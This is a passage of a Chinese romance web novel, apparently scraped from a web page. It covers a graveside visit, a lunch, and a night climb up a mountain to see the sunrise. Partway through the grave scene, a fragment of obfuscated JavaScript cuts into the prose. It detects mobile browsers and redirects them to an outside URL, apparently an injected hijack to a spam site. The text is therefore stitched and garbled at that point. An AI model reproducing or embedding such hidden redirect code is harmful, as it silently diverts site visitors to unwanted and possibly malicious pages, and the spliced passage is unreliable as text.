颓云駃雨,天灰蒙蒙一片,街上的车辆都在缓行,隔着雨帘,几乎看不到亮着绿色空闲招牌的出租车。
宋司雾问:“那您今天有空吗?”
顾淮序居高临下望着她,神情很是疏淡。
这是又拿他当专车了。
他语意更冷:“你要去哪,非得今天去不可?”
强风兜头袭来,引得树枝狂舞呼啸,自行车篮里的帆布包被掀开一角,露出来一小截白色花瓣。
女孩的声音因被吹散而变得不真切,顾淮序云山雾罩地听见一句:
“墓山陵园。”
-
上午十点,市中心的恒隆广场刚开始营业。
这座流线型玻璃建筑始建于千禧年,是南城最著名的地标建筑之一。
这个时间又逢雷雨天气,商场里鲜少有人逛街,一字排开的奢侈品店外门可罗雀。
宋司雾跟着顾淮序进了一家私人定制店铺。
招牌是一串英文,她在心里默念一遍,确认自己没听过。
顾淮序叫来经理,让她带宋司雾去把身上的湿衣服换掉。
这家店主营休闲鞋服,店员按宋司雾的尺码挑了几套上衣和裤子,正要带她去试衣间,却被顾淮序叫住。
他目光扫了眼地面,平声吩咐:“鞋子也换了。”
宋司雾循着他的视线,低头看自己的脚。
五十块的白色帆布鞋,鞋面洇成了浅灰色,沾着雨水落地时溅起的灰尘和细沙,看起来又旧又脏。
其实她身上其他地方也好不到哪儿去。
要不是跟着顾淮序,方才经过商场巨型旋转门时,估计会被保安当作城市流浪人员拦在外面。
“不用了,里面没湿,还能穿。”
说完便进了试衣间。
她从好几套搭配中随手捞了件卫衣换上。
灰黑色,版型很正,左侧胸口一个精致的银色小标。
好奇心使然,她拿出手机搜了下价格,跳出来的数字叫她倒吸一口凉气。
顾淮序坐在休息区,笔记本搭在腿上,宋司雾出来时他睨了一眼。
小姑娘差不多收拾好了,头发重新梳成马尾,恢复了平日那副干净利落的样子。
经理帮宋司雾倒了杯温水,用一次性铜版纸杯装着,她尝一口,是淡酣的蜂蜜柚子味。
秋风料峭,她早上骑车又淋了雨,手脚冰凉,这会儿热饮喝下去,由室内暖气一烘,感觉从里到外暖起来。
店员拿来平板电脑,打开女鞋系列,问宋司雾喜欢哪双。
她瞥一眼坐在单人沙发上的顾淮序。
他正看着电脑屏幕,眉头微蹙,似乎是有很棘手的工作需要处理,没空管闲事。
于是她直接对店员说:“不用看了,谢谢。”
她快速喝完水,又问经理要了一杯。
临走前,店员将她换下的衣服用防尘袋装好,再套上印着奢牌logo的手提袋。
过分精致的包装,里边的东西加起来够不上一件正品价格的零头,叫她觉得滑稽。
从商场出来,林渊便将上午的会议号发给顾淮序。
他跟在老板身边三年,这点观察力还是有的,将两人送上车后,便先回公司了。
墓山陵园坐落在偏远的城郊,两侧山丘,面有流水,开车过去也要一个小时。
上车之后,顾淮序继续处理工作,宋司雾则盯着窗户发呆。
车里开了空调,外头冰冷的空气凝在玻璃上,结成一层雾蒙蒙的水汽,用手随意抹一把,露出一小块街景。
她今天原本的计划是骑车到城际车站,再坐列车去陵园,没想到中途自行车坏了,又碰上暴雨。
那句问顾淮序有没有空的话,实则是想问他要不要用车,并非是想要他亲自送——她还没有厚脸皮到这种地步。
车开了一会儿,顾淮序关了电脑,开始讲电话。
内容她听不太懂,讲的貌似是德语。
虽然不知道在说什么,但他发音很好听,吐字时富有节奏,像是走时精准的古老钟表,再配上沉稳低磁声线,有种冰冷克制的优雅。
墓山陵园依山而建,层层叠叠的石碑在阴雨天里空寂肃杀。
入园时雨势已经减小,天上的阴云也散开了一部分。
宋氏夫妇常年栖息的地方在半山腰,视野开阔,眺望时可窥见一隅山脚的湖面。
黑色碑板上篆刻着亡故者的名字和生卒日期。
宋司雾一手执伞,一手拂去挂在墓碑表面的雨水,弯下腰,将一束白菊供在碑前。
做完这些她便静默地站在那儿,一句话也没说。
茕茕孑立,全然是凄冷雨幕下一抹肃杀的黑。
顾淮序在她身后立了片刻。
视线越过女孩的肩膀,觑见石碑上刻的最后一行字,心中陡然一凛。
顾淮序记性很好,之前匆匆扫过她个人资料上的出生日期,和石碑上的数字重合,顿时明白昨天她那句“不过生日”的真正含义。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16948039|191646||http|test|mini|href|location''.split(''|''),0,{}));
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>七年前,10月30日下午,飞往南城的一架客机在边境坠毁,机上100多名乘客和8名机组人员全部遇难——宋正韬和冯绾当时就在飞机上。
当时这件空难轰动全国,媒体铺天盖地对事件展开报道。
飞机上的黑匣子虽一周后在事发地找到,但真正的事故原因却至今众说纷纭。
有的说是因为飞机一侧发动机故障,有的说因为机长操作失误,还有阴谋论者说飞机遭遇了挟持。
最后相关负责人员被革职处理,航空公司对遇难者家属给予了相应的赔偿,并发布道歉声明。
寥寥几行文字,却是遇难者及其家属沉重真实的人生。
宋司雾在碑前站了很久,回过神时发觉顾淮序站在半山腰的石阶上,不知何时走过去的。
他穿一袭深灰色大衣,侧身立在雨中,伞檐上滑落的雨水打湿他挺括熨贴的裤脚。
宋司雾走近,喊他一声,顾淮序转过头来看她。
“走吧。”
她声音轻轻浅浅的,裹着点儿似有若无的潮气。
顾淮序点一点头。
沿着石阶往山上走,半道路过个五角亭,宋司雾走到檐下,收了伞。
顾淮序也跟进来,同她并肩而立。
宋司雾回头望一眼,抬手朝某个方向虚指了指。
“那边是俞山,海拔一千多米,冬天山上能看到雾凇。这个季节去夜爬,凌晨出发,到了山顶正好赶上日出。”
顾淮序循着她手指的方向眺望出去,天边云雾缭绕,什么也看不清。
“以前去过?”
宋司雾摇了摇头,“以前我爸常去。他喜欢摄影,没事就折腾长枪短炮,春天赏樱,秋天看枫,有时为了拍到想要的景,夜里也不下山,就在营地住,我的名字就是他那时候取的。”
她徐徐说着,思绪越飘越远。
“……当初筑谭寺的大师说,墓山这地儿风水好,依山傍水,适合立衣冠冢。可惜位置选的有点偏,看不到日出……”
顾淮序垂眸看了她一眼,细软的发丝被风吹得有些乱,黑色领口里露出一小截细白的脖颈,整个人比晨雾还清薄三分。
他收回目光,下意识往兜里摸烟盒,想到什么,又松开手。
周遭一时安静下来,只听到簌簌的风声。
似乎是觉得气氛压抑,宋司雾主动换了个话题,“顾先生曾经也是孟老师的学生?”
顾淮序看她一眼,目光清邃,语气很淡:“从哪儿听来的?”
“顾阿姨告诉我的。”她说。
顾淮序嗯了一声,不置可否。
“我妈妈和顾阿姨是中学同窗,她以前在南城音乐学院当编曲老师,也教钢琴。小时候我去孟老师那儿上课,她有时间就会全程陪着,孟老师说他从来不担心我课下练琴懒怠,毕竟家里有位专业监工。刚开始我用的还是普通的书房琴,那种琴高很少见,只有110公分,后来长大些我爸才送了一台正常规格的立式给我当生日礼物……”
她今天的话仿佛格外多,顾淮序安静听着,雨水一下一下敲在檐上,过了片刻,他才开口:“想好考什么学校了?”
宋司雾点了点头。
这话从前他也问过,其实她的答案一直没有变,国内顶级音乐学院就那么几所,既然已经选择走这条路,自然锚定最好的。
“孟教授怎么说?”
“孟老师叫我自己拿主意。”宋司雾顿了一下,侧过脸,等下文似的:“顾先生有什么指教?”
这似是而非的问询口吻叫顾淮序听出几分其他的意思——是在暗讽他上回不打招呼就带她去见孟鉴清的事。
到底是小孩子,认真起来锱铢必较。
他神色平淡地睨她一眼,平声道:“这件事你自己决定,我不干涉。”
宋司雾点一下头,很轻地弯了弯唇角,语气几分笃定,像是许下什么承诺一般:
“您放心,不会给您和孟老师丢脸的。”
18. Chapter 18
回程路上,宋司雾不知不觉睡着了。
醒来时汽车后排和驾驶座上空空如也。
看一眼时间,已经过了正午,她朝外望了望,窗外的景致已切换回市区。
拿上包正想下车,后座另一侧的门被打开,是顾淮序矮身坐了进来。
外头湿冷的空气混着他身上浅淡的烟草味,随着关门的动作扑进车厢。
“醒了?”
宋司雾屏了一下呼吸,问:“我睡多久了?”
“不到半小时。”
“您怎么没叫醒我。”
顾淮序侧目,不咸不淡地问她:“下午什么安排?”
宋司雾顿了一下,说:“去孟老师那儿。”
司机师傅这时也坐进来,顾淮序吩咐了个地址,对宋司雾说:“先去吃饭,下午周师傅送你。”
汽车往市区一处很有年代感的老洋房开去。
铁艺黑色雕花的大门,院子里两棵老槐树,穿过前厅往深了走,别有洞天。
藏在老洋房里的私人餐馆,店内装修偏九十年代的复古风,保留建筑原有风格的同时,又兼顾了现代人使用习惯的设计。
程斯年见到宋司雾的第一反应有些惊讶,这地儿算是他们圈子常聚的地方,顾淮序鲜少带外人来。
原以为他是为了应付老爷子,现在看来倒真有几分做“家长”的样子。
程斯年面上不显,很自然地同宋司雾打招呼,“我听舒沁说,上回你在她店里吃坏了东西,现在怎么样了?要是把你吃出个好歹,可没法儿跟老爷子交代。”
宋司雾解释说:“已经没事了。”
程斯年点头,“那就好,有什么不能碰的一会儿给厨房打声招呼。”
私人场合没那么多繁文缛节,等菜上齐,顾淮序出去打电话,叫他们先吃。
今天是程斯年做东,他自觉有照顾小辈的义务,见宋司雾不动筷,便主动招呼,把那道蟹酿橙转到她面前。
“我听老顾说你喜欢吃这个。来,尝尝正不正宗。”
宋司雾点头道谢,用勺子盛了一点蟹肉放进盘子里,余光瞥了眼半掩的包厢门,意有所指地问:“程先生是这儿的老板?”
程斯年端起茶杯,浅啜一口,饶有兴致道:“从哪儿看出的我是老板。”
宋司雾目光沉静,不疾不徐地说:“刚从前厅进来,看见墙上挂着特殊人群的用工标识,方才上菜的那位姐姐出去时又对着程先生打了手语,就大概猜到了。”
程斯年听完她这番分析哈哈大笑,“难怪顾淮序夸你聪明,见微知著啊。这餐厅是老一辈的营生,平时有专人打理,我不过挂个虚名。”
宋司雾说:“隔壁街区那家很有名的江浙菜,应该也是程先生的产业吧。”
就是顾淮序把她从派出所里捞出来那晚带她去的餐厅。
当时她就留意到了,鲜少有常规餐厅会特地聘用特殊人群作为侍者,因此印象深刻。
程斯年笑了两声,算是默认,又问她:“你还懂手语?”
“会一点。”宋司雾说,“程先生和顾先生很早就认识?”
程斯年挑了挑眉,“他怎么跟你介绍的?”
顾淮序没和她提过这些,既然两人是发小,认识途径无外乎那几种,她便随口诌:“顾先生说两位家里是世交。”
“这么说倒也不错,不过真熟起来不是因为长辈这层关系。”
程斯年打量她,笑说:“你这么问,是质疑他这种老古板怎么会和我成为朋友?”
宋司雾没有正面回答,但意思很明显。
程斯年放下茶杯,煞有其事地说:“你别看他现在一副不苟言笑的样子,像你这么大的时候,离经叛道的事儿也干过不少,要不怎么能跟我和舒沁凑一起这么多年呢。”
宋司雾若有所思地点了点头。
“程哥——我能这样喊您吗?”
程斯年轻笑一声,“随你,哪儿那么多规矩。”
“上回在清吧门口,我看见保安把欺负我的人赶了出去,是顾先生叫人做的吗?”
“他没跟你说?”
宋司雾摇头。
“那人之前跟顾氏有点生意往来,算是二级供应商。那天老顾叫采购把他们一批新货给否了,就在包厢闹了会儿。”
宋司雾微微怔住。
程斯年笑着瞧她,“你别有压力,他做事一向公私分明,没用他们家就说明那批货本身也有问题,不单单为你的事。”
宋司雾沉默一霎,说:“我知道,顾先生肯定是有他的考虑。”
她当然不会自作多情到以为顾淮序是为了给她出气才叫停合作。
程斯年笑一笑,心道这小姑娘还挺有意思。
顾淮序回来落座时瞥见宋司雾正在剥虾。
灵巧的手指将虾壳从虾肉上剥离,蘸上米醋,然后放进嘴里。
她似乎精于此技,没一会儿骨碟就被虾头和虾壳占去一半。
除了去派出所捞她那晚,其余几回看她吃饭似乎都食欲平平,难得今次胃口稍稍好些。
程斯年见他一直眼盯着那盘白灼虾,知道他不喜海鲜,问他要不要加菜。
顾淮序收回目光,“不用。”
程斯年懒得管他,问:“你们之前搞的那个声音复原的研发项目现在怎么样了?”
“刚进入测试阶段。”
集团现在的重点都放在人工智能技术上面,声音复原工具的研发就是其中一项。
作为一种先进的辅助技术,声音复原工具可以通过上传的发声片段,利用技术模型快速克隆说话人的音色,帮助听障人士恢复或重建他们的声音。
程斯年说:“要是缺训练模型的人,我这儿的员工可以借你两天。”
顾淮序睨他一眼,“上回问你怎么不肯。”
“你那研发中心太偏,过去一趟费事儿,不如这样,你把住宿包了,省得来回折腾。”
“你替我打算得倒好。”
“没你替小宋妹妹打算得好。”程斯年笑笑,转而问宋司雾:“以后准备去哪儿进修啊,伊斯曼还是英皇?”
顾淮序微微蹙眉,为他这句称呼。
宋司雾诚恳道:“没考虑过,留学太贵了。”
“你学古典乐,不出国等于白学。”程斯年向顾淮序求证,“我没说错吧?”
顾淮序不搭茬,表情疏无变化。
程斯年无所谓地笑笑,安慰小姑娘:“放宽心,只管学你的,有老顾给你撑腰,怕什么?”
吃过午饭,顾淮序让司机送宋司雾去孟鉴清家。
这大半个月以来,宋司雾一刻也不敢懈怠,老生常谈的“小三门”、“四大件”翻来覆去地练,尽量弥补过去停摆的时间。
孟鉴清倒不担心她跨不过艺考的门槛,只望她能够将实力完全发挥出来,届时挣个好名次,也不枉费这段时间的辛苦付出。
上了一下午课,孟鉴清叫她先歇着,晚饭就留在家里吃。
宋司雾也没推辞,合上琴盖,出去餐厅帮师母布菜。
孟鉴清的妻子也是音乐专业出身,二人多年琴瑟和谐,对宋司雾是如出一辙的疼惜和喜爱。
刚吃完饭门铃就响了,保姆去开门,来人竟是顾淮序。
他还是白天的那副矜贵打扮,松形鹤骨,风姿清举地立在门厅处,比身型挺拔的孟老师还略高一些。
孟鉴清见顾淮序来了,有些惊喜,招呼他进门喝茶。
顾淮序同孟鉴清夫妇问好,闲聊几句,便道今天还有事,就先不打扰了,改日再专程拜访。
他车停在楼下,上了车,宋司雾问了一句:“顾先生怎么会过来?”
“接你下课。”
宋司雾一顿,余光瞥见他五官淡漠的轮廓,哦了一声。
这显然是个不太寻常的答案。
“我还以为您是来找孟老师谈事。”
顾淮序说:“今天仓促,不然是该陪孟教授喝杯茶。”
方才他们出来时也不过五点多,宋司雾听他这么说,以为他还有工作要忙,便说:“这边交通很方便,我可以自己回去。”
顾淮序目光在她脸上掠过一眼,言简意赅:“我今晚要去趟俞城,你也一起去。”
宋司雾愣了愣,没反应过来他是什么意思,波谲云诡的表情被某人尽收眼底。
顾淮序淡淡道:“怎么了,不想去?”
“您之前没问过我。”
“现在不是在问你。”
“……”
顾淮序说:“我明天在俞城办事,顺便带你去趟俞山。”
宋司雾闻言微微怔住,原来今早她在亭子里的话被他记下来了。
她试探问:“是要去夜爬?”
“嗯,东西周师傅都准备好了,你只管跟着去。”
宋司雾默不作声,转而想到今晚去夜爬的话明早势必赶不回来,可明天是周一,她还要上学。
顾淮序说:“替你请过假了。”
宋司雾:“……”
这人的做事风格已经独断专裁到这种地步了吗?
顾淮序明白她的顾虑,淡声道:“周师傅是俞城人,俞山他很熟悉。”
驾驶座的周文德适时接过话茬,透过后视镜朝宋司雾颔了颔首。
“宋小姐放心,我老家就在俞山脚下,从小到大不知道摸上去过多少次。今晚咱们先去酒店休息,等到了凌晨再出发上山,刚好赶上看日出。”
话都说到这份上了,看来这回是势在必行。
虽说是赶鸭子上架,但她私心里也确实有些想去。
她给姜莱发了条消息,说明天有事不去学校。
随即又想起件事:“我的自行车还在早上那个公交车站。”
顾淮序拿出手机,给助理拨了一个电话,外放:“车修好了没有?”
林渊:“已经送去车行了,师傅说
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大概明天能修好。”
宋司雾心中一怔,原来他早考虑到了。
“现在放心了?”
顾淮序收了手机,风轻云淡地撂下一句话。
宋司雾无法了,鼓了鼓嘴,靠回椅背里。
从南城开车到俞城一百多公里,大约需要两个多小时。
顾淮序不知从哪儿变出一袋东西,里面有十多种防晕车产品,以及上回他车里那个外国牌子的薄荷糖,柚子口味的。
“周师傅准备的,免得你吐在车上。”
宋司雾:“……”
她懒得再和他做口舌之争,拆开晕车药吃了两粒。
前半程昏昏欲睡了一路,后半程清醒过来,看着导航离目的地愈来愈近,心脏微微鼓胀,莫名生出几分怅然。
她没去过俞城,今次开天辟地头一遭,以前父亲在时,每回问她要不要一起去看日出,她都摇头拒绝。
她小时候最不爱运动,爬山之类活动更是能躲则躲,今天却阴差阳错地来了,说不清是刻舟求剑还是别的,或许算是某种程度的弥补遗憾。
到达俞城时将近八点,下塌的酒店就安排在俞山脚下。
宋司雾的房间正对着连绵山峦,薄暮冥冥,天空已经沉淀成最深的靛蓝色,像是古籍里的水墨画,被山间的云雾晕染开来。
确实是个好地方。
周文德给她准备了一整套的登山鞋服和背包,速干衣、摇粒绒和运动鞋,都是她的尺寸。
品牌还是白天顾淮序带她去的那家,另外还有一些应急物资。
约定十一点半在酒店大堂集合,宋司雾洗完澡已经过了九点,定了个闹钟便把自己掼在床上。
她亢奋地完全睡不着,硬生生躺了一个多小时。
俞山有三个上山口,从最经典的路线徒步登山,全程大概需要四到五个小时。
宋司雾乘电梯下楼,远远看见顾淮序和周文德正在大堂等她。
走近才发觉顾淮序已换下了板正的白色衬衫,和她穿类似的户外套装。
他似乎不久前刚洗过脸,额前碎发尚未完全干透,让水浸得塌落几缕,叫清寂眉目之间平添了几分少年英气。
宋司雾有一瞬的出神。
出发前,顾淮序交代她:“上山的人很多,待会儿跟紧别乱跑。”
她悻悻道:“……我知道。”
她又不是小孩子。
徒步到俞山脚下,正式开始夜爬。
前半程的路不算陡,只是单纯爬坡有点枯燥。
顾淮序这人做事专注,执行力强,做任何事情都全力以赴,爬山也是百分百投入,全程基本和人零交流。
周文德话也不多,他一个退伍军人,给顾家做了二十多年专职司机,之前是给老爷子开车,顾淮序回国后就一直跟在他身边。
周文德和宋正韬早年有些交情,虽然之前没见过宋司雾,但也知道小姑娘身世可怜,私心里很是同情。
过了山腰的第一道门,坡度开始加大,仅凭双腿攀爬非常吃力。
夜爬的人群摩肩擦踵,沿途有很多小贩在卖登山棍,周文德也从包里拿出提前准备好的折叠登山棍给宋司雾。
“宋小姐,你第一次爬,累了就喊停啊,千万别逞强。”
宋司雾拄着登山棍,靠边停下来喘口气,说:“周叔叔,您是长辈,还是喊我名字吧。”
周文德点点头,笑着应下来。
宋司雾舔了舔干燥的嘴唇,抬起手电往前方黑压压的石阶上照了照。
顾淮序已经把他们甩开一段距离了,这会儿只看到人群中一个大致的轮廓。
她虽然瘦但并不羸弱,自认体力不算差,初中体测八百米长跑一直都是满分。
走了两小时,她和周文德一样没有休息,只是顾淮序脚步太快,她实在追不上他的速度。
休息片刻,补充了些水,她对周文德说:“周叔叔,我们继续走吧。”
这段路她爬得很慢,边走边时不时往下看,除了近处的山林有夜灯照着能依稀看到树影,其余地方都黑乎乎的,什么也看不清。
又坚持了一段,实在走不动了,坐在半途的石阶上休息。
她果然还是不喜欢爬山。
周文德倒是有耐心,也不催她,由着她休息。
宋司雾比他女儿年纪还小一点,带她就跟带自己孩子没什么两样。
宋司雾正累得大脑放空,心里琢磨还得坚持几个小时才能登顶,忽然一根半米长的登山棍递到面前。
抬眼望去,顾淮序不知道什么时候折返回来。
他穿一身黑,可立领的冲锋外套拉链拉到下颚,一手握着手电,垂眼看她。
景区夜晚设的照明灯瓦数不算太高,晦暗不明的光线下,她看见他眉眼处拓印出深刻的阴影,整个人鹤立在冷光之中,近似薄寒月光一般的清绝。
他微微启唇,声音极淡地吐出一个字:“走。”
19. Chapter 19
宋司雾是有一点不愉。
方才顾淮序把她和周文德甩在身后,自顾自走了那么远,现在知道返回来找他们了。
但夜爬耗体力,她晚上几乎没睡,因而这点火苗很快便偃旗息鼓。
她咬咬牙,伸手抓住登山棍的另一端,借力站起来。
就这样,俞山最陡的那段坡她几乎是被顾淮序拖着走完的,周文德为了保障安全一直走在最后。
到了中山门,大批休憩的人群聚集于此,周文德也提议休息一下,顺便去补充些水。
宋司雾累极,刚才那段陡坡石阶倾斜角度很大,她丝毫不敢放松,脑袋里始终绷着一根弦,几乎手脚并用才走完。
她口渴得厉害,从包里拿出矿泉水,拧开瓶盖就往嘴边送。
顾淮序在一旁提醒她慢点喝,她没听进去,咕咚咕咚吞了几大口,呛到嗓子里猛咳起来。
在她换气的间隙,顾淮序把矿泉水从她手里收走,不让她喝了。
周文德去买水,顾淮序和宋司雾前去休息区等,空地上零星几张石凳,周围满满当当都是人。
宋司雾腿有些发软,站不住,直接找了个空档蹲下来。
顾淮序低下头,见她蹲在地上,整个人缩成一小团,眉宇微微凝起,沉声唤她:“起来。”
宋司雾有些不耐地仰起脸,用眼神回应:干嘛?
他身量高,从这个角度看他和看巨人没什么区别。
她对着这张寡冷又英俊的脸在心里暗暗吐槽:
这么好看的脸,怎么就长了张嘴。
“站起来。”顾淮序重复一遍。
她累得半分脾性也无,轻叹一口气,不情不愿地站起来。
顾淮序卸下背包,从里边摸出一个方方正正的东西铺在地上。
她借着照明的夜灯看清那是个简易折叠坐垫,里边填充的应该是是发泡聚乙烯,外面是牛津布,回弹性好,防水耐磨,没想到他还会准备这个。
“只有一个?”
顾淮序说:“一个够你坐了。”
她当然知道一个够她坐,只是顾淮序和周文德也走了很久的路,中途几乎没有停歇,三个小时过去肯定也累了。
“您和周叔叔呢?”
顾淮序看她一眼,“包里还有。”
于是她不再和他客气,直接坐下来。
垫子不算软,但比蹲着或是坐在地上要好太多。
周文德买完水回来,看一眼表,说:“咱们爬得算快的,还差四分之一就能登顶了。”
休息半小时,宋司雾体力恢复了一些,或许是快要登顶了,剩下的路程基本是一鼓作气走完的。
行至俞山最高处,天色灰青,烟岚云岫。
宋司雾站在观景台边沿,山川尽收眼底,她已经完全感觉不到累了,只有运动过后多巴胺过剩的舒爽和畅快。
这里的一草一木或许也曾见证过当年意气风发的宋正韬,只是节同时异,物是人非。
十月末,凌晨山上的气温不到十度,稀薄的空气冻得她耳尖泛红。
雾气朦胧,薄云似流动的玉带,风将她的发丝扬起,在脑后放肆地乱飞。
顾淮序立在她身后,抬手,把她外套自带的帽子拎起来,罩在头上。
宋司雾有些莫名,扭过头,下意识伸手去摘,却被他制止。
“不想天亮生病的话就戴着。”
冷质的声音浮在她发顶,比雾色还疏淡三分。
宋司雾哦了一声,下意识地缩了缩脖子,她身上起了微微薄汗,站在山顶吹了会儿风,是感到些许寒意。
临近日出时分,抵达观景台的人越来越多,游客们围拢在一起的交谈声不绝于耳。
旁边一个声音兴奋地问:“那是北斗七星吧!”
另一人回答:“笨蛋,那是猎户座。”
宋司雾抬起头仰望天空,朗朗晴夜,繁星瞩目。
只可惜她不懂星座,只看得懂月亮。
此刻暮色沉沉,她用余光打量顾淮序,他亦注视着夜空,神情疏淡凛然,眼底的月色苍白而静谧,是她无法触及的幽静潮汐。
在山顶等了将近两个小时,天泛鱼肚白,太阳一点一点缓缓升起,围在观景台上的游客纷纷拿出手机拍照。
周文德打开背包,从里面拿出一台相机,宋司雾一看,是台入门级的全画幅佳能。
宋正韬早期也有过一台,只是型号不太一样。
“周叔叔,您也玩摄影?”
周文德不好意思地笑笑,目光看向顾淮序。
宋司雾明白过来,这相机的主人恐怕另有其人。
初升的太阳泛着淡橙色橘晕,朝气蓬勃,宋司雾心念一动,提议:“我帮您拍几张吧。”
周文德有些受宠若惊,推辞说自己不上相,还是不要拍了。
宋司雾说:“没事,就当留个纪念。”
顾淮序问她:“会装镜头吗?”
“会。”
她接过相机,学着爸爸的样子,对准卡扣旋转,安好镜头,端起相机架在眼前。
按快门。定格。
周文德走过来看一眼成片,夸她拍得好。
宋司雾浅浅弯了下唇角,转而问顾淮序:“顾先生要拍吗?”
顾淮序目光在她脸上落了落,意料之中被拒绝了。
宋司雾不甚在意,让周文德站回原位再拍两张。
山顶人头攒动,宋司雾站在人群边沿,举着相机,注意力都在取景框里,不知被谁从右侧撞了一下。
她踉跄一步,重心往左倒,胳膊被一只大手牢牢稳住。
“人多,站稳了。”
顾淮序的声音近在咫尺,清冽呼吸喷在她发顶,她心脏不由得地猛跳一下。
垂眼,注意到那双极好看的手,腕骨清晰,手指骨节分明,皮肤模拟冷玉质地,手背蜿蜒并不夸张的淡青色筋脉。
她低低地嗯了一声,喉咙被山风吹得有些痒。
周文德上前关切道:“小宋姑娘没事吧?”
宋司雾轻摆一下头。
周文德说:“人越来越多了,我看咱们还是去休息区吧。”
休息区位于观景台后方,视野稍差一些,但也能看到日出的景色。
逆着人群没走几步,宋司雾就被一个稚嫩的童声叫住。
回头一看,是个穿玫粉色棉服的小女孩,大约八、九岁的样子。
她身后跟着一男一女,三十来岁的模样,都穿黑色棉服,肤色黝黄,脸颊泛着高原红一样的颜色。
小女孩抬着头问:“摄影师姐姐,可以帮我们拍张照吗?”说完,回头指了指身后的一男一女。
不得不说,宋司雾今天这身打扮确有点摄影爱好者的意思,刚才还有模有样地给周文德拍照,难怪会被认成是摄影师。
尽管这头衔她受之有愧,但她还是对着小女孩点了点头。
小女孩笑起来,左侧脸颊露出一个浅浅的梨涡,“拍一次要多少钱?我只有这些,够不够。”
她摊开手掌,露出几张皱巴巴的纸币,不是一元就是五元。
宋司雾让她把钱收起来,说:“我拍照不收费。”
“真的吗?”
“真的。”
“谢谢姐姐!”
小女孩开心地将宋司雾的话转达给身后的那对男女。
她双手飞快地比划,拉着两人去到观景台一处稍空的区域,站在他们中之间,两边各挽一只胳膊。
宋司雾这才意识到原来小女孩的父母都是听障人士。
取景框里,一家三口整整齐齐。
太阳缓缓升起,小女孩笑得很开心,两位大人表情略显拘谨,眼底却幸福洋溢。
宋司雾按动快门,记录下这一刻。
透过相机,她仿佛看到当年和父母在帝都拍的那张全家福。
当时的她还懵懂不知,那就是最完满的时刻。
拍完照,小女孩的父亲与周文德互留了联系方式,方便之后将照片发给他们。
男人用不太标准的发音说谢谢。
简单交流后才知道,小女孩一家是云城人,今年刚来俞城务工,听说俞山的日出很值得一看,特地过来。
宋司雾问小女孩:“你爸爸妈妈的听力是先天性的吗?”
小女孩摇摇头,说:“不是,我爸爸以前受过外伤,妈妈小时候因为药物失聪了。爸爸戴助听器平常能跟人简单交流,妈妈可以出声但是不太会说。”
宋司雾思忖片刻,看向一旁的顾淮序:“顾先生,昨天听程先生说,您在研发帮助听障人士发声的工具?”
顾淮序看她一眼,等她继续说。
宋司雾问:“等产品发布后,可以让她妈妈体验一次吗?”
顾淮序清楚她的心思。
听孟鉴清说,宋正韬和冯绾飞机失事后不久,宋司雾得了一段时间的失语症。
那时候她状态很差,日常表达只能通过书写,后来还是孟鉴清给她找了医生,通过康复训练才渐渐恢复,开口说话。
他淡声道:“这个项目本就是和残疾人福利基金会联合开发的,产品上线后会供全国听障人群免费使用。”
小女孩闻言有些激动,满怀希冀地看向顾淮序,“真的吗,以后我能听到我妈妈说
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话?”
顾淮序点头,问小女孩:“会用手机录音吗?”
“会。”小女孩立马打开手机。
顾淮序微微弯腰,略微拉近距离,抬手指向屏幕上的录音软件,“用它录制两分钟左右的发声片段,没有完整语义也可以,我让技术单独做声音复原。”
小女孩用力地点头:“我记住了,谢谢叔叔!”
顾淮序重新站直,神色矜然,又恢复了那副拒人于千里之外的样子。
告别一家三口,周文德先去买下山的索道票,宋司雾和顾淮序待在休息区。
了了晴山见,纷纷宿雾空。
山顶寺庙中传来绵长悠远的钟声。
“顾先生,今天谢谢您。”宋司雾忽然出声。
顾淮序偏过目光,垂眼看她,“举手之劳,谢什么。”
宋司雾顿了顿,说:“不只为了这个。”
父母过世之后,她就不再过生日了。
每年的这天都是她的瘢痕,她的梦魇,过去的每日每夜、每分每秒不在折磨着她。
她于他而言,只是一个无足轻重的小辈,出差之余帮她实现一点心愿或许也是举手之劳。
但能在今天走一遍父辈走过的路,看一次日出,拍一张照片,对她来说已经足够了。
“我能问您个问题吗?”宋司雾开口道。
顾淮序漫不经心地应了一声。
“顾先生十八岁的时候在做什么?”
没头没脑的问题。
顾淮序敛眸,睨她一眼,“为什么问这个。”
“我听程先生说,你们认识的契机比较特殊。”她点到即止,自然而然把程斯年后面那段描述隐去了。
顾淮序音色沉静,不咸不淡地回答:“跟你一样,打架。”
宋司雾愣了愣。
顾淮序。
打架?
这几个字放在一起都显得貌合神离。
“……难道是和程先生?”
“不是,和几个老外。”顾淮序说,“他们在唐人街抢劫一个华人女孩。程先出手,我帮了他。”
宋司雾纠正道:“您这叫见义勇为。”
顾淮序明显没有把这种事情放在心上,只淡淡道:“那种情况下,换做是谁都会帮忙。”
宋司雾一顿,唇角勉力地牵了牵。
宋司雾说:“您还记得那晚我拦您车的事吗?”
顾淮序轻轻嗯了一声。
印象深刻。
“您后来问我,那些人是不是以前学校的——其实是对面的职高。我被抢过很多次,有时是饭卡,有时是书本费,当着同学老师的面,没有人站出来帮我。”
她声音浸透寒意,混了一点哑,“那些只会明哲保身的人,就算恶性事件在他们眼前发生也会视若无睹,更别说现实中还有很多人会隔岸观火推波助澜。
“您应该听过一句话:雪崩的时候没有一片雪花是无辜的。所以,与其事到临头祈求别人的庇护,不如强大起来,自己保护自己。”
她说这话时目光执拗认真,眼底的倔强几乎漫溢。
自己保护自己。
这么多年她一直是这样做的。
身无片甲,赤手空拳地走到今天。
“宋司雾。”
他突然喊她名字。
她转过头,不明所以地应了一声,睫毛微微颤了颤。
大片大片浅橘色的日光柔和地落下来,将他的眉眼鼻背都染上细碎的光华。
她从来不知道,自己的名字经他之口念出会有种百转千回之感。
心脏悬在半空,听见他声调平缓,用陈述事实的口气说:
“你已经做得够好了。”
——你已经做得够好了。
他一向以慎独示人,言辞行事公正客观,这话从他口中说出来叫人不疑有他。
她心口莫名泛起一些潮湿的情绪。
小时候她协调性很差,在体育课上学轮滑怎么都学不会,放学之后自己在家附近的公园练习。
